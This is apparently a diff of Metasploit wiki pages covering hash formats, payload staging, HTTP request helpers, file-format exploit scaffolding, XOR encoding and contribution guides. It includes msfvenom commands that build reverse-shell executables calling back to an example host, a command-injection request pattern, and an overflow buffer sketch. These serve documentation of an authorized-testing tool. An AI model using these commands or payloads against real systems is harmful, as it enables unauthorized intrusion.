| MSSQL | mssql_foo | `0x0100A607BA7C54A24D17B565C59F1743776A10250F581D482DA8B6D6261460D3F53B279CC6913CE747006A2E3254` | foo | mssql | auxiliary/scanner/mssql/mssql_hashdump | auxiliary/analyze/jtr_mssql_fast |
| MSSQL (2012) | mssql12_Password1! | `0x0200F733058A07892C5CACE899768F89965F6BD1DED7955FE89E1C9A10E27849B0B213B5CE92CC9347ECCB34C3EFADAF2FD99BFFECD8D9150DD6AACB5D409A9D2652A4E0AF16` | Password! | mssql12 | auxiliary/scanner/mssql/mssql_hashdump | auxiliary/analyze/jtr_mssql_fast |
| MySQL | mysql_probe | `445ff82636a7ba59` | probe | mysql | auxiliary/scanner/mysql/mysql_hashdump | auxiliary/analyze/jtr_mysql_fast |
| MySQL SHA1 | mysql-sha1_tere | `*5AD8F88516BD021DD43F171E2C785C69F8E54ADB` | tere | mysql-sha1 | auxiliary/scanner/mysql/mysql_hashdump | auxiliary/analyze/jtr_mysql_fast |
| Oracle | simon | `4F8BC1809CB2AF77` | A | des,oracle | auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/jtr_oracle_fast |
| Oracle | SYSTEM | `9EEDFA0AD26C6D52` | THALES | des,oracle | auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/jtr_oracle_fast |
| Oracle 11 | DEMO | `S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:DC9894A01797D91D92ECA1DA66242209;T:23D1F8CAC9001F69630ED2DD8DF67DD3BE5C470B5EA97B622F757FE102D8BF14BEDC94A3CC046D10858D885DB656DC0CBF899A79CD8C76B788744844CADE54EEEB4FDEC478FB7C7CBFBBAC57BA3EF22C` | epsilon | raw-sha1,oracle | auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/jtr_oracle_fast |
| Oracle 11 | oracle11_epsilon | `S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:DC9894A01797D91D92ECA1DA66242209;T:23D1F8CAC9001F69630ED2DD8DF67DD3BE5C470B5EA97B622F757FE102D8BF14BEDC94A3CC046D10858D885DB656DC0CBF899A79CD8C76B788744844CADE54EEEB4FDEC478FB7C7CBFBBAC57BA3EF22C` | epsilon | raw-sha1,oracle | modules/auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/jtr_oracle_fast |
| Oracle 12 | oracle12_epsilon | `H:DC9894A01797D91D92ECA1DA66242209;T:E3243B98974159CC24FD2C9A8B30BA62E0E83B6CA2FC7C55177C3A7F82602E3BDD17CEB9B9091CF9DAD672B8BE961A9EAC4D344BDBA878EDC5DCB5899F689EBD8DD1BE3F67BFF9813A464382381AB36B` | epsilon | pbkdf2,oracle12c | auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/jtr_oracle_fast |
| Postgres | example | `md5be86a79bf2043622d58d5453c47d4860` | password | raw-md5,postgres | auxiliary/scanner/postgres/postgres_hashdump | auxiliary/analyze/jtr_postgres_fast |
| HMAC-MD5 | hmac_password | `<3263520797@127.0.0.1>#3f089332842764e71f8400ede97a84c9` | password | hmac-md5 | auxiliary/server/capture/smtp | None |
| SHA512($p.$s)/dynamic_82/vmware ldap | vmware_ldap | `$dynamic_82$a702505b8a67b45065a6a7ff81ec6685f08d06568e478e1a7695484a934b19a28b94f58595d4de68b27771362bc2b52444a0ed03e980e11ad5e5ffa6daa9e7e1$HEX$171ada255464a439569352c60258e7c6` | TestPass123# | dynamic_82 | | None |
# Adding a New Hash
Only hashes which were found in Metasploit were added to the hash id library, and the other functions. New hashes are developed often, and new modules which find a new type of hash will most definitely be created. So what are the steps to add a new hash type to Metasploit?
1. Add a new identify algorithm to: [framework/hashes/identify.rb](https://github.com/rapid7/metasploit-framework/blob/master/lib/metasploit/framework/hashes/identify.rb). You may want to consult external programs such as `hashid` or `hash-identifier` for suggestions.
1. Add the hash to the spec to ensure it works right now, and in future updates: [framework/hashes/identify_spec.rb](https://github.com/rapid7/metasploit-framework/blob/master/spec/lib/metasploit/framework/hashes/identify_spec.rb)
1. Make sure the hashes are saved in the DB in the JTR format. A good source to identify what the hashes look like is [pentestmonkey](http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats).
1. If applicable, add it into the appropriate cracker module (or create a new one). Example for [Windows related hashes](https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/analyze/crack_windows.rb).
1. Find the hashcat hash mode, and add a JTR name to [hashcat hash mode lookup](https://github.com/rapid7/metasploit-framework/blob/master/lib/metasploit/framework/password_crackers/cracker.rb#L129)
1. If hashcat uses a different format for the hash string, add a JTR to hashcat hash format conversion to the [formatter](https://github.com/rapid7/metasploit-framework/blob/master/lib/metasploit/framework/password_crackers/hashcat/formatter.rb)
1. Update this Wiki
1. Add the JTR to hashcat conversion
1. Add example hash(es)
+104
View File
@@ -0,0 +1,104 @@
Welcome to Metasploit-land. Are you a Metasploit user who wants to get started or get better at hacking stuff (that you have permission to hack)? The quickest way to get started is to [download the Metasploit nightly installers](https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers). This will give you access to both the free, open-source Metasploit Framework and a free trial of Metasploit Pro.
If you're using [Kali Linux](https://kali.org/), Metasploit is already pre-installed. See the [Kali documentation](https://kali.org/docs/tools/starting-metasploit-framework-in-kali/) for how to get started using Metasploit in Kali Linux.
Are you anxious to get your [Metasploit Development Environment](https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment) set up so you can start [[Landing Pull Requests]] and contributing excellent exploit code? If so, you're in the right place. If you're an exploit developer, you will want to review our [[Guidelines for Accepting Modules and Enhancements]] to find out what we expect when we see pull requests for new Metasploit modules. No idea what you should start working on? Check out the guidelines for [[contributing to Metasploit]], and dive into [[Setting Up a Metasploit Development Environment]].
# Getting Started #
- [[Setting Up a Metasploit Development Environment]]
- [[Using Metasploit]]
- [[Using Git]]
- [[Reporting a Bug]]
- [[Navigating and Understanding Metasploit's Codebase|./Navigating-and-Understanding-Metasploits-Codebase.md]]
# Contributing
- [[Contributing to Metasploit]]
- [[Creating Metasploit Framework LoginScanners]]
- [[Guidelines for Accepting Modules and Enhancements]]
- [[Common Metasploit Module Coding Mistakes]]
- [[Style Tips]]
- [[Committer Rights]]
- [[Landing Pull Requests]]
# Metasploit Development #
- [[Style Tips]]
- [[Get Started Writing an Exploit]]
- [[How to get started with writing an auxiliary module]]
- [[How to get started with writing a post module]]
- [[How to get started with writing a Meterpreter script]]
- [[Running Private Modules]]
- [[Exploit Ranking]]
- [[Module Reference Identifiers]]
- [[How to check Microsoft patch levels for your exploit]]
- [[How to clean up files using FileDropper]]
- [[How to deprecate a Metasploit module]]
- [[How to do reporting or store data in module development]]
- [[How to log in Metasploit]]
- [[How to obfuscate JavaScript in Metasploit]]
- [[How to parse an HTTP response]]
- [[How to Send an HTTP Request Using HTTPClient]]
- [[How to send an HTTP request using Rex Proto Http Client]]
- [[How to use command stagers]]
- [[How to use datastore options]]
- [[How to use Msf Auxiliary AuthBrute to write a bruteforcer]]
- [[How to use PhpEXE to exploit an arbitrary file upload bug]]
- [[How to use Powershell in an exploit]]
- [[How to use Railgun for Windows post exploitation]]
- [[How to Use the FILEFORMAT mixin to create a file format exploit]]
- [[How to use the Msf Exploit Remote Tcp mixin]]
- [[How to use the Seh mixin to exploit an exception handler]]
- [[How to use WbemExec for a write privilege attack on Windows]]
- [[How to write a browser exploit using BrowserExploitServer]]
- [[How to write a browser exploit using HttpServer]]
- [[How to write a check method]]
- [[How to write a HTTP LoginScanner Module]]
- [[How to write a module using HttpServer and HttpClient]]
- [[How to zip files with Msf::Util::EXE.to_zip|./How-to-zip-files-with-Msf-Util-EXE-to_zip.md]]
- [[How to use Metasploit Framework Compiler Windows to compile C code]]
- [[How to use Metasploit Framework Obfuscation CRandomizer]]
- [[How to decrypt RC4 with Metasploit Framework Compiler]]
- [[How to decode Base64 with Metasploit Framework Compiler]]
- [[How to XOR with Metasploit Framework Compiler]]
- [[Using ReflectiveDll Injection]]
- [[Oracle Usage]]
- [[Definition of Module Reliability, Side Effects, and Stability|./Definition-of-Module-Reliability-Side-Effects-and-Stability.md]]
# Metasploit Payloads #
- [[How Payloads Work]]
- [[Merging Metasploit Payload Gem Updates]]
- [[Meterpreter Configuration]]
- [[Meterpreter HTTP Communication]]
- [[Meterpreter Paranoid Mode]]
- [[Meterpreter Reliable Network Communication]]
- [[Meterpreter Sleep Control]]
- [[Meterpreter Stageless Mode]]
- [[Meterpreter Timeout Control]]
- [[Meterpreter Transport Control]]
- [[Meterpreter Unicode Support]]
- [[Payload UUID]]
- [[Python Extension]]
- [[The ins and outs of HTTP and HTTPS communications in Meterpreter and Metasploit Stagers]]
# Other Metasploit Resources #
- [[Metasploit 5.0 Release Notes]]
- [[Downloads by Version]]
- [[Evading Anti Virus]]
- [[How to use a Metasploit module appropriately]]
- [[How to use a reverse shell in Metasploit]]
- [[Information About Unmet Browser Exploit Requirements]]
- [[How to use msfvenom]]
- [[What my Rex Proto SMB Error means]]
- [[Why CVE Is Not Available]]
# GitHub Resources #
- [[Git Cheatsheet]]
- [[Git Reference Sites]]
- [[Remote Branch Pruning]]
@@ -0,0 +1,39 @@
# How Payloads Work
Payload modules are stored in `modules/payloads/{singles,stages,stagers}/<platform>`. When the framework starts up, stages are combined with stagers to create a complete payload that you can use in exploits. Then, handlers are paired with payloads so the framework will know how to create sessions with a given communications mechanism.
Payloads are given reference names that indicate all the pieces, like so:
- Staged payloads: `<platform>/[arch]/<stage>/<stager>`
- Single payloads: `<platform>/[arch]/<single>`
This results in payloads like `windows/x64/meterpreter/reverse_tcp`. Breaking that down, the platform is `windows`, the architecture is `x64`, the final stage we're delivering is `meterpreter`, and the stager delivering it is `reverse_tcp`.
Note that architecture is optional because in some cases it is either unnecessary or implied. An example is `php/meterpreter/reverse_tcp`. Arch is unneeded for PHP payloads because we're delivering interpreted code rather than native.
### Singles
Single payloads are fire-and-forget. They can create a communications mechanism with Metasploit, but they don't have to. An example of a scenario where you might want a single is when the target has no network access -- a fileformat exploit delivered via USB key is still possible.
### Stagers
Stagers are a small stub designed to create some form of communication and then pass execution to the next stage. Using a stager solves two problems. First, it allows us to use a small payload initially to load up a larger payload with more functionality. Second, it makes it possible to separate the communications mechanism from the final stage so one payload can be used with multiple transports without duplicating code.
### Stages
Since the stager will have taken care of dealing with any size restrictions by allocating a big chunk of memory for us to run in, stages can be arbitrarily large. One advantage of that is the ability to write final-stage payloads in a higher-level language like C.
## Delivering stages
1. The IP address and port you want the payload to connect back to are embedded in the stager. As discussed above, all staged payloads are no more than a small stub that sets up communication and executes the next stage. When you create an executable using a staged payload, you're really just creating the stager. So the following commands would create functionally identical exe files:
```
msfvenom -f exe LHOST=192.168.1.1 -p windows/meterpreter/reverse_tcp
msfvenom -f exe LHOST=192.168.1.1 -p windows/shell/reverse_tcp
msfvenom -f exe LHOST=192.168.1.1 -p windows/vncinject/reverse_tcp
```
(Note that these are *functionally* identical -- there is a lot of randomization that goes into it so no two executables are exactly the same.)
1. The Ruby side acts as a client using whichever transport mechanism was set up by the stager (e.g.: tcp, http, https).
* In the case of a shell stage, Metasploit will connect the remote process's stdio to your terminal when you interact with it.
* In the case of a [[Meterpreter]] stage, Metasploit will begin speaking the Meterpreter wire protocol.
@@ -0,0 +1,63 @@
**Note:** Final project proposals must be submitted through to Google through the GSoC Program Website, as stated in the [rules](https://summerofcode.withgoogle.com/rules/).
Before submitting to the GSoC website, it is also helpful to solicit proposal feedback. This can be done by reaching out to us on our Slack at <https://metasploit.com/slack> via the `#gsoc` channel, or via sending an email to `msfdev [@] metasploit [dot] com`. If you don't hear back right away on a proposal, don't give up! Contributors may be busy, or you may need to try again to get someone's attention (but don't spam).
# 2022 Timeline
An updated list of the application timeline can be found at https://developers.google.com/open-source/gsoc/timeline. Please refer to this link for any updates that Google may make, as they have been known to change the timeline for certain dates in the past.
## Important Dates
- GSoC Applications Open: April 4th at 1800 UTC
- GSoC Applications Close: April 19th at 1800 UTC for 2022 GSoC applications. **No late submissions will be accepted, period.**
- Accepted applications announced: May 20th at 1800 UTC
- Programming Starts: June 13th.
## Important Changes for 2022
- All submissions (including both draft submissions and final submissions) must be in PDF format when being submitted to GSoC's website. If you would like us to review your submission prior to the final deadline, please submit a Google Drive link to your DOC formatted proposal to msfdev [AT] metasploit [DOT] com and make sure that you have enabled commenting so that potential mentors can provide feedback.
# 2022 Idea List
You can find the current list of GSoC ideas at [[GSoC-2022-Project-Ideas]]. Please see the note at the bottom of this page if you are interested in submitting your own idea, as this will require approval.
# Getting started
Students interesting in GSoC, can start by reading Google's official guides.
<https://developers.google.com/open-source/gsoc/help/student-advice>
Review all of the [student guide](https://google.github.io/gsocguides/student/) and carefully read the [proposal writing section](https://google.github.io/gsocguides/student/writing-a-proposal.html).
A listed `idea` is a seed for GSoC students to expand on and propose how to design and implement a solution. You can start by investigating the code base and how existing users interaction with `msfconsole` functionality. Think through scenarios on how a user might want to interact with the proposed idea.
A place to get started with contributing to Metasploit is [here](https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md) and expanded on [here](https://github.com/rapid7/metasploit-framework/wiki/Contributing-to-Metasploit#framework-bugs-and-features).
GSoC mentors tend to look for those items that have a chance of making development and usage easier or improving the overall performance of a certain area, however by starting with understanding the most common contribution patten you can get familiar with the codebase and also the mindset of users. This will help you in creating a proposal with the end user in mind.
Once you have started digging feel free ask questions that help you understand the concepts you for the idea would like to propose.
Initial proposals can be sent for feedback before official submission opens to msfdev@metasploit.com. All proposals must be officially submitted during Student Application Period through the [GSoC official](https://g.co/gsoc) site.
At a bare minimum, proposals should include the following:
## Title
A brief description of what you would like to work on. See [[GSoC-2022-Project-Ideas]] for ideas.
## Vitals
* Your name
* Contact info - include at least:
- an email address
- github user name
- Freenode nick/Slack nick
## Skillz
What programming languages are you familiar with, in order of proficiency? Most of Metasploit is written in Ruby; for any project you will most likely need at least a passing knowledge of it. If you want to work on Meterpreter or Mettle, C will be necessary as well.
What other projects have you worked on before?
## Your project
Fill in the details. What exactly do you want to accomplish?
# Past Submissions
If you are interested in looking at past accepted submissions and projects, you can find them at https://summerofcode.withgoogle.com/archive, and clicking on any year from 2017 onwards (with the exception of 2019 as Metasploit did not participate this year). Then click on the `Security` tag, and search for `Metasploit`. Scroll down to the bottom and you will see past successful applications and the associated code for each successful submission. Submissions from 2020 onwards also include copies of the proposal that was sent in by the accepted contributor.
@@ -0,0 +1,262 @@
The [HttpClient mixin](https://rapid7.github.io/metasploit-framework/api/Msf/Exploit/Remote/HttpClient) can be included with an exploit module in order to facilitate easier HTTP communications with a target machine.
## There are mainly two common methods you will see:
* **[send\_request\_raw](https://rapid7.github.io/metasploit-framework/api/Msf/Exploit/Remote/HttpClient.html#send_request_raw-instance_method)** - You use this to send a raw HTTP request. Usually, you will want this method if you need something that violates the specification; in most other cases, you should prefer `send_request_cgi`. If you wish to learn about how this method works, look at the documentation for [`Rex::Proto::Http::Client#request_raw`](https://rapid7.github.io/metasploit-framework/api/Rex/Proto/Http/Client.html#request_raw-instance_method).
Here's a basic example of how to use `send_request_raw`:
```ruby
send_request_raw({'uri'=>'/index.php'})
```
* **[send\_request\_cgi](https://rapid7.github.io/metasploit-framework/api/Msf/Exploit/Remote/HttpClient.html#send_request_cgi-instance_method)** - You use this to send a more CGI-compatible HTTP request. If your request contains a query string (or POST data), then you should use this. If you wish to learn about how this method works, check out [`Rex::Proto::Http::Client#request_cgi`](https://rapid7.github.io/metasploit-framework/api/Rex/Proto/Http/Client.html#request_cgi-instance_method).
Here's a very basic example for `send_request_cgi`:
```ruby
send_request_cgi({
'method' => 'GET',
'uri' => '/hello_world.php',
'vars_get' => {
'param_1' => 'abc',
'param_2' => '123'
}
})
```
**Please note**: `send_request_raw` and `send_request_cgi` will return a `nil` if there's a timeout, so please make sure to account for that condition when you handle the return value.
## Cookies & CookieJars
Part of send\_request\_cgi functionality is the ability to collect, edit, and send cookies via the HttpClient's `cookie_jar` variable, an instance of the [HttpCookieJar](https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/exploit/remote/http/http_cookie_jar.rb) class.
A HttpCookieJar is a collection of [HttpCookie](https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/exploit/remote/http/http_cookie.rb). The Jar can be populated manually with it's `add` method, or automatically via the `keep_cookies` option that can be passed to [send\_request\_cgi](https://github.com/rapid7/metasploit-framework/blob/92d981fff2b4a40324969fd1d1744219589b5fa3/lib/msf/core/exploit/remote/http_client.rb#L385).
If you need to clear the cookie jar (for instance, using a 2nd login), try:
```ruby
cookie_jar.clear
```
### `keep_cookies` option
Shown below is the request used to login to a gitlab account in the [gitlab\_file\_read\_rce exploit module](https://github.com/rapid7/metasploit-framework/blob/92d981fff2b4a40324969fd1d1744219589b5fa3/modules/exploits/multi/http/gitlab_file_read_rce.rb#L70)
```ruby
res = @http_client.send_request_cgi({
'method' => 'POST',
'uri' => '/users/sign_in',
'keep_cookies' => true,
'vars_post' => {
'utf8' => '✓',
'authenticity_token' => csrf_token,
'user[login]' => username,
'user[password]' => password,
'user[remember_me]' => 0
}
})
```
The cookies returned by the server with a successful login need to be attached to all future requests, so `'keep_cookies' => true,` is used to add all returned cookies to the HttpClient CookieJar and attach them to all subsequent requests.
### `cookie` option
Shown below is the request used to login to a gitlab account in the [artical\_proxy\_auth\_bypass\_service\_cmds\_peform\_command\_injection module](https://github.com/rapid7/metasploit-framework/blob/92d981fff2b4a40324969fd1d1744219589b5fa3/modules/exploits/linux/http/artica_proxy_auth_bypass_service_cmds_peform_command_injection.rb#L115)
artical\_proxy\_auth\_bypass\_service\_cmds\_peform\_command\_injection requires a specific cookie header to be sent with a request in order to achieve RCE. By setting a string of the desired header as the value of the `cookie` option, that string is set as the cookie header without any changes, allowing the exploit to be carried out.
```ruby
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'cyrus.index.php'),
'vars_get' => {
'service-cmds-peform' => "||#{Rex::Text.uri_encode(cmd, 'hex-all')}||"
},
'cookie' => "PHPSESSID=#{@phpsessid}; AsWebStatisticsCooKie=1; shellinaboxCooKie=1"
})
```
Any object passed to `cookie` that isn't an instance of HttpCookieJar will have `to_s` called on it. The result of `to_s` will be set as the cookie header of the http request. The contents of the HttpClient cookie\_jar is ignored **_only_** this request. Subsequent requests are unaffected.
----
Module authors can also pass an instance of `HttpCookieJar` with the `cookie` option:
```ruby
cj = Msf::Exploit::Remote::HTTP::HttpCookieJar.new
cj.add(Msf::Exploit::Remote::HTTP::HttpCookie.new('PHPSESSID', @phpsessid))
cj.add(Msf::Exploit::Remote::HTTP::HttpCookie.new('AsWebStatisticsCooKie', 1))
cj.add(Msf::Exploit::Remote::HTTP::HttpCookie.new('shellinaboxCooKie', 1))
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'cyrus.index.php'),
'vars_get' => {
'service-cmds-peform' => "||#{Rex::Text.uri_encode(cmd, 'hex-all')}||"
},
'cookie' => cj
})
```
The above code would create an identical cookie header to the one used in the previous example, save for a random ordering of the name value pairs. This shouldn't affect how the server would read the cookies, but it's still worth keeping in mind if you've somehow found a vuln reliant on the order of cookies in a header.
### expire_cookies
`send_request_cgi` will call `cleanup` on `cookie_jar` before iot is used to populate a request with cookies. `cleanup` will remove any expired cookies permenetly from the jar, affecting all future requests.
If this behaviour isn't deisred and an author would prefer to keep expired cookies in the jar, the `expire_cookies` option can be set to false:
```ruby
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'cyrus.index.php'),
'vars_get' => {
'service-cmds-peform' => "||#{Rex::Text.uri_encode(cmd, 'hex-all')}||"
},
'cookie' => "PHPSESSID=#{@phpsessid}; AsWebStatisticsCooKie=1; shellinaboxCooKie=1",
'expire_cookies' => false
})
```
## URI Parsing
Before you send a HTTP request, you will most likely have to do some URI parsing. This is a tricky task, because sometimes when you join paths, you may accidentally get double slashes, like this: "/test//index.php". Or for some reason you have a missing slash. These are really commonly made mistakes. So here's how you can handle it safely:
**1** - Register your default URI datastore option as 'TARGETURI':
Example:
```ruby
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to XXX application', '/xxx_v1/'])
]
)
```
**2** - Load your TARGETURI with [`target_uri`](https://rapid7.github.io/metasploit-framework/api/Msf/Exploit/Remote/HttpClient.html#target_uri-instance_method), that way the URI input validation will kick in, and then you get a real `URI` object:
In this example, we'll just load the path:
```ruby
uri = target_uri.path
```
**3** - When you want to join another URI, always use [`normalize_uri`](https://rapid7.github.io/metasploit-framework/api/Msf/Exploit/Remote/HttpClient.html#normalize_uri-instance_method):
Example:
```ruby
# Returns: "/xxx_v1/admin/upload.php"
uri = normalize_uri(uri, 'admin', 'upload.php')
```
**4** - When you're done normalizing the URI, you're ready to use `send_request_cgi` or `send_request_raw`
Please note: The `normalize_uri` method will always follow these rules:
1. The URI should always begin with a slash.
2. You will have to decide if you need the trailing slash or not.
3. There should be no double slashes.
## Full Example
```ruby
require 'msf/core'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'HttpClient Example',
'Description' => %q{
Do a send_request_cgi()
},
'Author' => [ 'sinn3r' ],
'License' => MSF_LICENSE
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'The base path', '/'])
]
)
end
def run
uri = target_uri.path
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'admin', 'index.php'),
'vars_get' => {
'p1' => 'This is param 1',
'p2' => 'This is param 2'
}
})
if res && res.code == 200
print_good('I got a 200, awesome')
else
print_error('No 200, feeling blue')
end
end
end
```
## Working with Burp Suite
Burp Suite is a useful tool to examine or modify HTTPS traffic while developing a module using HttpClient. To do this:
1. Start Burp: ```java -jar burpsuite.jar```
2. In Burp, click on the Proxies tab, and then Options. Configure the proxy listener there. In this example, let's say we have a listener on port 6666.
3. Once the Burp listener is up, start msfconsole and load the module you're working on.
4. Enter: ```set Proxies HTTP:127.0.0.1:6666```
5. Go ahead and run the module, Burp should intercept the HTTPS traffic.
Note that Burp only supports HTTPS for HttpClient. This problem is only specific to Burp and Metasploit.
If you need to examine HTTP traffic for HttpClient, a workaround is adding the following method in your module. This will override HttpClient's send_request_* method, and return the modified output:
```ruby
def send_request_cgi(opts)
res = super(opts)
puts res.request.to_s
puts
puts res.to_s
puts
puts
end
```
You can do the same for send_request_raw as well.
## Other Common questions:
**1 - Can I use ```vars_get``` and ```vars_post``` together?**
Yes. When you supply a hash to ```vars_get```, basically it means "put all this data in the query string". When you supply a hash to ```vars_post```, it means "put all this data in the body." All of them will be in the same request. You do need to make sure you're using ```send_request_cgi```, of course.
**2 - I can't use ```vars_get``` or ```vars_post``` due to some weird reason, what to do?**
Do mention about this problem in the code (as a comment). If you can't use ```vars_post```, you can try the ```data``` key instead, which will send your post data raw. Normally, the most common solution to get around ```vars_get``` is to leave your stuff in the ```uri``` key. msftidy will flag this, but only as an "Info" and not a warning, which means you should still pass msftidy anyway. If this is a common problem, we can always change msftidy.
**3 - Do I need to manually do basic auth?**
You do not need to manually do basic auth in your request, because HttpClient should automatically do that for you. All you have to do is set the username and password in the datastore options, and then the mixin will use that when the web server asks.
**4 - How do I send a MIME request?**
See [Rex::MIME::Message](https://github.com/rapid7/rex-mime/blob/master/lib/rex/mime/message.rb)
## References
* [[How to send an HTTP request using Rex Proto Http Client]]
@@ -0,0 +1,62 @@
```Msf::Exploit::FILEFORMAT``` is the mixin to use to create a file format exploit. There actually isn't much in the mixin, but the most important method is this: ```file_create```:
### Usage for file_create
As the name implies, the ```file_create``` method allows you to create a file. You should be using this method because it does more than just writing data to disk. One of the important things it does is it will report the file creation to the database in the format of ```#{ltype}.localpath```, and the file will always be written to Metasploit's local directory defined in ```Msf::Config.local_directory``` (by default this path is ```~/.msf4/local```), which keep files nice and organized.
To use the mixin, first include ```Msf::Exploit::FILEFORMAT``` under the scope of your ```Metasploit3``` class:
```ruby
include Msf::Exploit::FILEFORMAT
```
And here's an example of using ```file_create``` to build an imaginary exploit:
```ruby
# This is my imaginary exploit
buf = ""
buf << "A" * 1024
buf << [0x40201f01].pack("V")
buf << "\x90" * 10
buf << payload.encoded
file_create(buf)
```
### Custom filename
The ```Msf::Exploit::FILENAME``` mixin by default has a registered ```FILENAME``` datastore option, and it is actually optional. If there's no filename provided, the mixin will set the name in this format: ```"exploit.fileformat.#{self.shortname}"```, where ```self.shortname``` means the shorter version of the module name.
If you wish to set a default one (but still changeable by the user), then you simply register it again in the module, like this:
```ruby
register_options(
[
OptString.new('FILENAME', [true, 'The malicious file name', 'msf.jpg'])
], self.class)
```
### Fixed filename
Occasionally, you might not want your user to change the filename at all. A lazy trick to do that is by modifying the ```FILENAME``` datastore option at runtime, but this is very much not recommended. In fact, if you do this, you will not pass [msftidy](https://github.com/rapid7/metasploit-framework/wiki/Guidelines-for-Accepting-Modules-and-Enhancements#module-additions). Instead, here's how it's done properly:
1 - Deregister the ```FILENAME``` option
```ruby
deregister_options('FILENAME')
```
2 - Next, override the ```file_format_filename``` method, and make it return the filename you want:
```ruby
def file_format_filename
'something.jpg'
end
```
3 - Finally, please leave a note about this in the module description.
### References
- <https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/exploit/fileformat.rb>
- <https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/windows/local>
@@ -0,0 +1,23 @@
# How to XOR with Metasploit::Framework::Compiler
The Metasploit C compiler has built-in support for XOR encoding and decoding, which is implemented as the `xor.h` header.
# Code Example
```c
#include <Windows.h>
#include <String.h>
#include <xor.h>
int main(int args, char** argv) {
char* xorStr = "NNNN";
char xorKey = 0x0f;
LPVOID lpBuf = VirtualAlloc(NULL, sizeof(int) * strlen(xorStr), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memset(lpBuf, '\0', strlen(xorStr));
xor((char*) lpBuf, xorStr, xorKey, strlen(xorStr));
MessageBox(NULL, lpBuf, "Test", MB_OK);
return 0;
}
```
To compile, use [[Metasploit::Framework::Compiler::Windows.compile_c|How to use Metasploit Framework Compiler Windows to compile C code]]
@@ -0,0 +1,44 @@
**Update:** We have automated this process (it runs every Thursday at noon US Central Time), and 99.9% of the time you will not need to follow any of the below steps. That said, if you need to update a gem in a PR, this is still a good procedure to follow.
Sometimes you might want to pull in a new Ruby library or update an existing one to get more functionality. Metasploit leverages [Bundler](http://bundler.io) to manage [Ruby gems](https://rubygems.org/) and make dependencies easy. This document goes over the things you need to know when updating or adding gems to Metasploit.
##### The Gemfile
Gems that are only *sometimes* used (say, only in test mode, or only when running with a database) are listed in a relevant Bundler group (`test` or `db` respectively) in the [root Gemfile](https://github.com/rapid7/metasploit-framework/blob/master/Gemfile).
##### The metasploit-framework.gemspec file
Gems that are *always needed* by Metasploit are kept in the [metasploit-framework.gemspec](https://github.com/rapid7/metasploit-framework/blob/master/metasploit-framework.gemspec) file (this file is actually pulled into the Gemfile when calculating dependencies).
##### The Lock File
The [Gemfile.lock file](https://github.com/rapid7/metasploit-framework/blob/master/Gemfile.lock) holds the absolute versions of the Gems we want and keeps track of all the subdependencies. You should never need to manually edit this file: bundler will do it for you when you run `bundle install` after adding a gem. We keep this committed in the repo to ensure that all users are always on the same gem versions.
##### Updating or adding a gem
If the gem is needed only for a specific Bundler group (like `test` or `db`), you should update the [Gemfile](https://github.com/rapid7/metasploit-framework/blob/master/Gemfile):
1. Add the Gem you want to the correct Group, or just update the version constraint. Check [Bundler's docs](http://bundler.io/gemfile.html) for the various ways to express version constraints:
gem 'my_favorite', '~> 1.0'
2. Run `bundle install`
3. Commit any changes to the `Gemfile.lock` file
If the gem is needed any time metasploit-framework is used, you should update the [metasploit-framework.gemspec](https://github.com/rapid7/metasploit-framework/blob/master/metasploit-framework.gemspec) file:
1. Add the gem as a runtime dependency, or just update the version constraint. Check [Bundler's docs](http://bundler.io/gemfile.html) for the various ways to express version constraints:
spec.add_runtime_dependency 'my_favorite_gem', '~> 3.0.1'
2. Run `bundle install`
3. Commit any changes to the `Gemfile.lock` file.
##### Gemfile.local
A Gemfile.local file is useful for adding temporary gems to the metasploit-framework, like pry-stack-explorer or other handy debugging libs; you don't want to commit these gems into the repo, but might need them from time to time. To use a Gemfile.local file:
1. Rename the [Gemfile.local.example](https://github.com/rapid7/metasploit-framework/blob/master/Gemfile.local.example) file in the repo root to `Gemfile.local`
2. Add the temporary gems you want to this file
3. Run `bundle install`
4. Make sure you _do not_ commit the Gemfile.lock: `git checkout -- Gemfile.lock`
@@ -0,0 +1,50 @@
Checking patch levels is an important task for vulnerability research or exploit development. As a bug-hunting kind of guy, you should care about patch levels because say you have an 0day for Internet Explorer 10, you can't always assume it affects all IE 10 builds since its debut (2012). If you realize your 0day only affects one or two builds, how much of a threat is it? Probably not as bad as you think.
If you're an exploit developer, you're checking patches for another reason: maximum reliability. There are a lot of ways your exploit can fail, a bad [gadget](https://en.wikipedia.org/wiki/Return-oriented_programming) due to a change by a system update is easily one of them. If this update occurred at a pretty early stage, chances are your exploit will fail a lot, too.
## How to collect Microsoft patches
If you're kind of hardcore with patch diffing, you probably maintain your own database of DLLs. But this may require a lot of disk space, for most people it's probably not worth it unless you have to look at these DLLs pretty much everyday. A more economic way is probably have a way to track all these patches, and have some sort of interface to allow quick and easy access to them.
Luckily, Microsoft maintains a list of all the patches in an Excel file that you can download here:
[https://www.microsoft.com/en-us/download/confirmation.aspx?id=36982](https://www.microsoft.com/en-us/download/confirmation.aspx?id=36982)
